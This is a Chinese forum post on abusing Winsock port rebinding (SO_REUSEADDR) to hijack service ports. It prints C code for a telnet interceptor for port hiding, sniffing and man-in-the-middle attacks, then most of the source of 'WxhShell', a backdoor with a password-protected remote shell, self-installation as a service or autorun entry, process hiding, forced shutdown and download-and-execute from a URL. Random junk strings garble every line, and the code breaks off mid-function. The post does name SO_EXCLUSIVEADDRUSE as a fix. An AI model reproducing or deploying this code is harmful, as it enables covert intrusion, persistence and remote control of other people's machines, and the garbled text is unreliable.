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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pF>i-i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {WS;dX4  
uMv,zO5  
  saddr.sin_family = AF_INET; bWS&Yk(  
FxY}m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lFj]4  
~P qM]^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E=Bf1/c\  
RC"MdcD:]y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B mb0cF Q  
"{xrL4BtC  
  这意味着什么?意味着可以进行如下的攻击: 'oVx#w^mf  
hE/cd1iJ$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^ +\dz  
`RW HN/U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Uc>lGo1j  
Z\rwO>3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4"ZP 'I;  
YP<ms  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _61gF[r4!Y  
gJ+'W1$/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V Q@   
e%M;?0j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =XQ%t @z0  
{S \{Ii6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?z+eWL  
3,w_ ".m`#  
  #include H8jpxzXv  
  #include 1GRCV8 "Z^  
  #include >R_&Ouh:  
  #include    G_JA-@i%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   372rbY  
  int main() u#~RkY7s  
  { ; 2#y7!  
  WORD wVersionRequested; Tidn-2L73O  
  DWORD ret; t?gic9 q  
  WSADATA wsaData; T!{w~'=F  
  BOOL val; fOrH$?  
  SOCKADDR_IN saddr; kZ:ZtE  
  SOCKADDR_IN scaddr; f~[7t:WD*  
  int err; t@;p  
  SOCKET s; wlvgg  
  SOCKET sc; @HCVmg:  
  int caddsize; OT*mO&Z  
  HANDLE mt; I{2hfKUe`  
  DWORD tid;   Om@;J%u/  
  wVersionRequested = MAKEWORD( 2, 2 ); >U>(`r*  
  err = WSAStartup( wVersionRequested, &wsaData ); gD?l-RT>  
  if ( err != 0 ) { uW{l(}0N  
  printf("error!WSAStartup failed!\n"); .<FH>NW)  
  return -1; sP~<*U.7  
  } ?V=ZIGj  
  saddr.sin_family = AF_INET; JbbzV>  
   ,0sm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +\A,&;!SR  
Qv-_ jZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =WATyY:s  
  saddr.sin_port = htons(23); C!!M%P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6 "sSoj  
  { B9 uoVcW  
  printf("error!socket failed!\n"); yyJ  f%{  
  return -1; ]m<$}  
  } I236 RIq  
  val = TRUE;  (ZizuHC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F>l] 9!P|m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RqrdAkg  
  { 0OE:[pR  
  printf("error!setsockopt failed!\n"); x9g#<2w8  
  return -1; X_h}J=33Q  
  } cT,sh~-x,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bE..P&"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4$<JHo @.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cq]6XK-W  
~ 7s!VR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q9_OGd|P  
  { * u>\57W  
  ret=GetLastError(); o.!Dq7 R  
  printf("error!bind failed!\n"); M }D}K\)  
  return -1; 2ilQXy  
  } vE?G7%,  
  listen(s,2); aFYIM`?(  
  while(1) u6agoK|^9  
  { Otuf] B^s  
  caddsize = sizeof(scaddr); D@.6>:;il  
  //接受连接请求 0e4{{zQx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }Y\%RA  
  if(sc!=INVALID_SOCKET) EQM {  
  { T8g$uFo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i.m^/0!  
  if(mt==NULL) 5;EvNu  
  { Q2gq}c~  
  printf("Thread Creat Failed!\n"); TeM|:o  
  break; QWYJ *  
  } lo+A%\1  
  } :F?C)F  
  CloseHandle(mt); 4B.*g-L   
  } vs4>T^8e  
  closesocket(s); '=pU^Oz<}  
  WSACleanup(); y)@wjH{6  
  return 0; L8B! u9%  
  }   K|, .C[  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7. oM J  
  { fHFE){  
  SOCKET ss = (SOCKET)lpParam; y6a3t G  
  SOCKET sc; k(HUUH_z  
  unsigned char buf[4096]; |L ev.,,Ph  
  SOCKADDR_IN saddr; %ET+iIhK  
  long num; g 7H(PF?  
  DWORD val; Z T%5T}i  
  DWORD ret; /N{*"s2)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (LCfUI6;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   })%{AfDRF  
  saddr.sin_family = AF_INET; h_'*XWd@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AwR =]W;j  
  saddr.sin_port = htons(23); 9* M,R,y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @yYkti;4-  
  { zb3t IRH  
  printf("error!socket failed!\n"); =s6 opL)  
  return -1; 59u }W 0  
  } l/5 hp.  
  val = 100; [/r(__.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oB7_O-3z  
  { _[BP 0\dPW  
  ret = GetLastError(); hZb_P\1X  
  return -1; /n&&Um\  
  } :2`e(+Uz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jP.dDYc  
  { 8s@3hXD&  
  ret = GetLastError(); >t+P(*u  
  return -1; jH:[2N?  
  } f o3}W^0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;uGv:$([g  
  { F+qm[Bc8  
  printf("error!socket connect failed!\n"); YmG("z  
  closesocket(sc); $`8wJf9@w  
  closesocket(ss); ]SEZaT  
  return -1; LS[]=Mk@1  
  } h(DTa  
  while(1) QT}tvm@PMq  
  { <P<z N~i9j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Mtx4'WZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~W/z96' 5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V7/Rby Q  
  num = recv(ss,buf,4096,0); [}m[)L\  
  if(num>0) 8ao_i=&x  
  send(sc,buf,num,0); UiNP3TJ'L  
  else if(num==0) V;=cwy)I  
  break; 6y<EgYzdE  
  num = recv(sc,buf,4096,0); uxz^/Gk  
  if(num>0) EU#^7  
  send(ss,buf,num,0); |7~<Is~ *  
  else if(num==0) >$7B wO  
  break; 6S #Cl>v  
  } Z\sDUJ  
  closesocket(ss); Lw,h+@0  
  closesocket(sc);  M6TD"-  
  return 0 ; /-s6<e!  
  } |s_GlJV.  
LzL So"n  
E{(;@PzE  
========================================================== xIn:ZKJ'  
i.#:zU%o  
下边附上一个代码,,WXhSHELL I/N *gy?*  
j>kqz>3  
========================================================== `]aeI'[}R  
i XN1I  
#include "stdafx.h"  \=o-  
wd6owr  
#include <stdio.h> &^nGtW%a 9  
#include <string.h> %so]L+r2!  
#include <windows.h> wL[ M:  
#include <winsock2.h> ,zc(t<|-y  
#include <winsvc.h> W g! Lfu  
#include <urlmon.h> rC5O")I<  
`vV7c`K?  
#pragma comment (lib, "Ws2_32.lib") !r-F>!~  
#pragma comment (lib, "urlmon.lib") Q2> gU#  
7>RY/O;Z,  
#define MAX_USER   100 // 最大客户端连接数 rN>R|].  
#define BUF_SOCK   200 // sock buffer *zLMpL_  
#define KEY_BUFF   255 // 输入 buffer AQ Ojit6p  
qQa}wcU'9p  
#define REBOOT     0   // 重启 Ys7]B9/1O  
#define SHUTDOWN   1   // 关机 y{Q {'De  
I1J-)R+  
#define DEF_PORT   5000 // 监听端口 < %Y}R\s?  
,x$,l  
#define REG_LEN     16   // 注册表键长度 ^zr`;cJ+c  
#define SVC_LEN     80   // NT服务名长度 i30!}}N8  
pCG}Z Ka  
// 从dll定义API i/.6>4tE:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gG uO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 05R@7[GWq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2<6UwF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p7 ~!z.)o  
!x)R=Z/C  
// wxhshell配置信息 k7^5Bp8=  
struct WSCFG { ,%y /kS]  
  int ws_port;         // 监听端口 xD7]C|8o  
  char ws_passstr[REG_LEN]; // 口令 /{2,zW  
  int ws_autoins;       // 安装标记, 1=yes 0=no kxCSs7J/  
  char ws_regname[REG_LEN]; // 注册表键名 4ppz,L,4  
  char ws_svcname[REG_LEN]; // 服务名 JGZBL{8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n"8Yv~v*2j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SX#&5Ka/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `0svy}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C# pjmT_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /_.|E]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ->jDb/a{C  
,: ^u-b|  
}; {{1G`;|v 9  
*^r}"in  
// default Wxhshell configuration o;*Q}Gr<M  
struct WSCFG wscfg={DEF_PORT, fV~~J2IK  
    "xuhuanlingzhe", _v:SP LU  
    1, @9:uqsL  
    "Wxhshell", ]@TCk8d$0  
    "Wxhshell", 'fW-Y!k%  
            "WxhShell Service", 4e  
    "Wrsky Windows CmdShell Service", wM{s|Ay  
    "Please Input Your Password: ", {h4E8.E  
  1, tX[WH\(xI  
  "http://www.wrsky.com/wxhshell.exe", bd`P0f?  
  "Wxhshell.exe" 9JwPSAo;  
    }; T4F/w|Q  
R-14=|7a-  
// 消息定义模块 _dU\JD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xc.`-J~Il  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {G-kNU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; afk>+4q  
char *msg_ws_ext="\n\rExit."; sRfcF`7  
char *msg_ws_end="\n\rQuit."; zeRyL3fnmb  
char *msg_ws_boot="\n\rReboot..."; m+9#5a-  
char *msg_ws_poff="\n\rShutdown..."; @]0%L0u  
char *msg_ws_down="\n\rSave to "; (% 9$!v{3  
0{mex4  
char *msg_ws_err="\n\rErr!"; k=^xVQuI  
char *msg_ws_ok="\n\rOK!"; ?cZlN !  
1x^GWtRp  
char ExeFile[MAX_PATH]; !m$jk2<  
int nUser = 0; ,,TnIouy  
HANDLE handles[MAX_USER]; V )4J`xg^  
int OsIsNt; 4K74=r),i  
*ui</+  
SERVICE_STATUS       serviceStatus; x^CS"v7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W l4%GB  
?ubro0F:  
// 函数声明 5-M-X#(  
int Install(void); '>" 4  
int Uninstall(void); ^@]3R QB  
int DownloadFile(char *sURL, SOCKET wsh); a{e4it  
int Boot(int flag); \NC3'G:Ii  
void HideProc(void); (.,G=\!  
int GetOsVer(void); >3bCTE   
int Wxhshell(SOCKET wsl); ,?3G;-  
void TalkWithClient(void *cs); z{>Rc"%\  
int CmdShell(SOCKET sock); K^[?O{x^B  
int StartFromService(void); Ho%CDz z  
int StartWxhshell(LPSTR lpCmdLine); +[P{&\d4}  
Zc2PepIg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0YHFvy)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D{!IW!w  
g&.=2uP  
// 数据结构和表定义 <Gsu Z  
SERVICE_TABLE_ENTRY DispatchTable[] = e(yh[7p=  
{ n`KY9[0U=  
{wscfg.ws_svcname, NTServiceMain}, @pxcpXCy  
{NULL, NULL} G&dKY h\  
}; OJxl<Q=z  
}\LQ3y"[  
// 自我安装 F!do~Z  
int Install(void) i9$ Av  
{ $8FUfJ1@  
  char svExeFile[MAX_PATH]; snJ129}A  
  HKEY key; 7o4\oRGV  
  strcpy(svExeFile,ExeFile); &wX]_:?  
cnLro  
// 如果是win9x系统,修改注册表设为自启动  3CJwj  
if(!OsIsNt) { KTv$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -YE^zzh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HTtnXBJ)*H  
  RegCloseKey(key); saAF+H/=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ctUp=po  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <QvOs@i*  
  RegCloseKey(key);  @8 6f  
  return 0; A=4OWV?  
    } / j^  
  } $J2Gf(RU  
} n*$ g]G$  
else { Je{ykL?N  
:pUtSs7p}  
// 如果是NT以上系统,安装为系统服务 Yw9GN2AG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ry!!9Z>9n  
if (schSCManager!=0) W4N{S.#!  
{ F5Va+z,jg  
  SC_HANDLE schService = CreateService j@9T.P1  
  ( Q20 %"&Xp]  
  schSCManager, he4(hX^  
  wscfg.ws_svcname,  )*[3Vq  
  wscfg.ws_svcdisp, BzzTGWq\  
  SERVICE_ALL_ACCESS, 1"g<0 W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g5yJfRLxp  
  SERVICE_AUTO_START, ]?*wbxU0  
  SERVICE_ERROR_NORMAL, 26nx`w?j(  
  svExeFile, $C\BcKlmv  
  NULL, :%.D78&  
  NULL, ?8$Q-1=  
  NULL, MJvp6n  
  NULL, Vc2`b3"Br  
  NULL Jb(H %NJ  
  ); nwWJ7M,A  
  if (schService!=0) PM+[,H  
  { =}*0-\QG  
  CloseServiceHandle(schService); <q SC#[xu  
  CloseServiceHandle(schSCManager); *or(1DXP8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]oxZ77ciL  
  strcat(svExeFile,wscfg.ws_svcname); "fI6Cpc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '%D7C=;^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c:0L+OF}xY  
  RegCloseKey(key); _L PHPj^Pg  
  return 0; w@b)g  
    } (?c-iKGc  
  } ! z**y}<T  
  CloseServiceHandle(schSCManager); P'2Qen*  
} E3i4=!Y  
} 6-I'>\U~  
!?XC1xe~R  
return 1; +H.`MZ=  
} FtZ?C@1/  
;]iRk  
// 自我卸载 -%~4W?  
int Uninstall(void) M{\I8oOg  
{ q@&6#B  
  HKEY key; J1vR5wbu  
9F vFhY  
if(!OsIsNt) { g*Phv|kI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '7/)Ot(  
  RegDeleteValue(key,wscfg.ws_regname); B6"0OIDY"  
  RegCloseKey(key); _+,TT['57s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gSgr6TH0  
  RegDeleteValue(key,wscfg.ws_regname); Gq6*SaTk  
  RegCloseKey(key); TJN4k@\$2  
  return 0; y*? Jui Q  
  } nEfK53i_  
} <[v[ci  
} %RVZD#zr  
else { Nl/dX-I  
JVJMgim)0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \lY_~*J  
if (schSCManager!=0) 4JEpl'5^Q  
{ /mHqurB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); } #J/fa9 !  
  if (schService!=0) ),)lzN%!  
  { !W\+#ez  
  if(DeleteService(schService)!=0) { 7 &\yj9  
  CloseServiceHandle(schService); Bwrx*J  
  CloseServiceHandle(schSCManager); /{[o ~:'p  
  return 0; v^iAD2X/F  
  } XG?8s &  
  CloseServiceHandle(schService); GVz6-T~\>  
  } Zc yc*{DS  
  CloseServiceHandle(schSCManager); ?5p>BER?  
} N;R^h? '  
} q| 7(  
==B6qX8T  
return 1; ,_P-$lB  
} b' y%n   
W/ \g~=vo  
// 从指定url下载文件 No$3"4wk  
int DownloadFile(char *sURL, SOCKET wsh)  bLL2  
{ : DNjhZ  
  HRESULT hr; u ?"Vm  
char seps[]= "/"; 6LZCgdS{  
char *token; H+#FSdy#  
char *file; t7pFW^&  
char myURL[MAX_PATH]; &[9709 (=  
char myFILE[MAX_PATH]; r^ XVB`v  
jCY %|  
strcpy(myURL,sURL); x38 QD;MT  
  token=strtok(myURL,seps); b$7 +;I;  
  while(token!=NULL)  k'YTpO  
  { zqku e%^?-  
    file=token; FwK] $4*  
  token=strtok(NULL,seps); NHt\ U9l'  
  } rjP/l6 ~'  
F{wzB  
GetCurrentDirectory(MAX_PATH,myFILE); >~f]_puT  
strcat(myFILE, "\\"); d5b%  W3  
strcat(myFILE, file); N[hG8f  
  send(wsh,myFILE,strlen(myFILE),0); QP x^_jA  
send(wsh,"...",3,0); t-AmX) $  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 46x'I(  
  if(hr==S_OK) yauvXosX  
return 0; LD?sh"?b  
else @iiT<  
return 1; _aphkeqd  
/ 1RpM]d  
} #Y! a6h+  
VUc%4U{Cti  
// 系统电源模块 ("@!>|H  
int Boot(int flag) Y2TtY;  
{ ,6/V" kqIP  
  HANDLE hToken; u +hX  
  TOKEN_PRIVILEGES tkp; s.rm7r@ #  
b>W %t  
  if(OsIsNt) { R_KH"`q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $qiya[&G4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9sP0D  
    tkp.PrivilegeCount = 1; #tHK"20  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c L]1f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~u{uZ(~  
if(flag==REBOOT) { SM '|+ d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0K+ne0I  
  return 0; do_[&  
} 3$tdwe$S  
else { |)&%A%m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GyIV Hby  
  return 0; Xvv6~  
} O1lNAcpeM  
  } #E?4E1bnB  
  else { J,hCvm  
if(flag==REBOOT) { \+etCo   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M:8R -c#![  
  return 0; ! if   
} pmM9,6P4@  
else { !1k_PY5)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \zY!qpX<  
  return 0; w xH7?tsf  
} 4 5e~6",  
} XX@ZQcN  
dG{A~Z z  
return 1; Y*^[P,+J*}  
} 0@(&eH=  
EPm/r  
// win9x进程隐藏模块 ;jXgAAz7  
void HideProc(void) *hx  
{ yfSmDPh  
hM{bavd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ` A>@]d  
  if ( hKernel != NULL ) +TJCLZ..  
  { M{@(G5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zda 3 ,U2o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UZMd~|  
    FreeLibrary(hKernel); uT{q9=w  
  } uD'6mk*  
&&+H+{_Q  
return; ]'}L 1r  
} )UR7i8]!0  
VRMXtQ*1Dm  
// 获取操作系统版本 E.TAbD&5(  
int GetOsVer(void) ,2q-D&)\Z  
{  &HW9Jn  
  OSVERSIONINFO winfo; O?2DQY?jT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +nL[MSw  
  GetVersionEx(&winfo); ![1rzQvGDb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -~1~I e2  
  return 1; *p U x8yB  
  else m@c)Xci  
  return 0; NOva'qk  
} /7kC<  
p'%s=TGwv  
// 客户端句柄模块 WE?5ehEme  
int Wxhshell(SOCKET wsl) ]/Pn EU[  
{ fex@,I&  
  SOCKET wsh; 3n _htgcv  
  struct sockaddr_in client; siI;"?  
  DWORD myID; {.yB'.k?  
{mg2pfhB!  
  while(nUser<MAX_USER) *pq\MiD/  
{ QV!up^Zso  
  int nSize=sizeof(client); 2ESo2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >A= f 1DF  
  if(wsh==INVALID_SOCKET) return 1; r; {.%s7  
Ew N}l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aOp\91  
if(handles[nUser]==0) wT@og|M  
  closesocket(wsh); d-qUtgqV86  
else b9krOe *j  
  nUser++; _b 0& !l<  
  } 6Oq 7#3]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UNYqft4  
#e"[^_C@!  
  return 0; Da|z"I x  
} mt .sucT  
@]j1:PN-  
// 关闭 socket lN@o2QX  
void CloseIt(SOCKET wsh) ^c|/*u  
{ iTwm3V P  
closesocket(wsh); ;pAK_>  
nUser--; GOPfXtkC  
ExitThread(0); ;p//QJB9  
} _)8s'MjA:&  
jp,4h4C^)  
// 客户端请求句柄 K0~rN.C!0  
void TalkWithClient(void *cs) ?4,T}@P  
{ 1?}T=)3+$  
DQ3<$0  
  SOCKET wsh=(SOCKET)cs; dN q$}  
  char pwd[SVC_LEN]; h{Y",7] !  
  char cmd[KEY_BUFF]; D7Z /H'|  
char chr[1]; gdc<ZYcM  
int i,j; 7#Ft|5$~q  
tw;}jh  
  while (nUser < MAX_USER) { 1Mzmg[L8  
'L'R9&o<X  
if(wscfg.ws_passstr) { 5! {D!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Mf0`K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ?9/G[[(  
  //ZeroMemory(pwd,KEY_BUFF); o&%g8=n%  
      i=0; .*oU]N%K=  
  while(i<SVC_LEN) { i5Ggf"![  
23PGq%R  
  // 设置超时 **%37  
  fd_set FdRead; lxx2H1([  
  struct timeval TimeOut; "jZ-,P=  
  FD_ZERO(&FdRead); .#gzP2 [q  
  FD_SET(wsh,&FdRead); MtdG>TzUn  
  TimeOut.tv_sec=8; ^q5#ihM  
  TimeOut.tv_usec=0; ?s01@f#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [,Gg^*umS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #mdc[.  
o!Zb0/AP)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K+eM   
  pwd=chr[0]; [0!(xp^  
  if(chr[0]==0xd || chr[0]==0xa) { 01]f2.5  
  pwd=0; ftb\0,-   
  break; j#|ZP-=1_  
  } -@'FW*b  
  i++; @d'j zs  
    } e'~3oqSvR  
Q ,g\  
  // 如果是非法用户,关闭 socket 7!1S)dup  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3] Ct6  
} (PL UFT  
?<!|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oH@78D0A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |yCMt:Hk  
6k%f  
while(1) { e~OpofJNb  
2y4bwi  
  ZeroMemory(cmd,KEY_BUFF); *dQSw)R  
ES[G  
      // 自动支持客户端 telnet标准   f*Hr^b}`8  
  j=0; z{ dEC %  
  while(j<KEY_BUFF) { &C}*w2]0S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &ZO0r ^  
  cmd[j]=chr[0]; hN_]6,<\  
  if(chr[0]==0xa || chr[0]==0xd) { =;L|gtH"  
  cmd[j]=0; hrk r'3lv  
  break; )%TmAaj9d  
  } 43cE`9~  
  j++; KI.unP%  
    } w0. u\  
P \I|,  
  // 下载文件 >P(.:_ ^p  
  if(strstr(cmd,"http://")) { K/$KI7 P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F|8 &  
  if(DownloadFile(cmd,wsh)) gXU8hTd8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JF]JOI6.e  
  else 4+n\k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Qe0! (_=  
  } xdPx{"C 3  
  else { ~*7]r`6\@  
6)J#OKZ  
    switch(cmd[0]) { crCJrN=  
  z:O8Ls^\T  
  // 帮助 !D6]JPX  
  case '?': { NK+o1   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6!o1XQr=Z  
    break; [ ~,AfY  
  } y`Fw-!'o  
  // 安装 Kw}'W 8`c  
  case 'i': { KoYF]  
    if(Install()) :k"]5>(^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); INf&4!&h  
    else BUFv|z+H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U*:!W=XN  
    break; 2 c}E(8e]  
    } $>gFf}#C  
  // 卸载 )jj0^f1!j  
  case 'r': { J,G lIv.A  
    if(Uninstall()) QJNFA}*>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mOSv9w#,  
    else 4Hg9N}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kza5ab  
    break; V]&\fk-{  
    } R]dg_Da  
  // 显示 wxhshell 所在路径 d-m7 }2c  
  case 'p': { l:%GH  
    char svExeFile[MAX_PATH]; PH"%kCI:  
    strcpy(svExeFile,"\n\r"); Vi}_{ Cy  
      strcat(svExeFile,ExeFile); g`^x@rj`E  
        send(wsh,svExeFile,strlen(svExeFile),0); <#.g=ay  
    break; ;4a{$Lw~^9  
    } zT/\Cj68  
  // 重启 Bq>m{  
  case 'b': { e )ZUO_Q$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d _ e WcI  
    if(Boot(REBOOT)) D$N /FJ8|G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y7nvHU|+o  
    else { _wcNgFx  
    closesocket(wsh); BY*Q_Et  
    ExitThread(0); E4!Fupkpf  
    } \ jA~9  
    break; .543N<w  
    } 'S~5"6r  
  // 关机 ~ 1pr~  
  case 'd': { x"(KBEK~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +V+a4lU14  
    if(Boot(SHUTDOWN)) zQA`/&=Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H"KCK6  
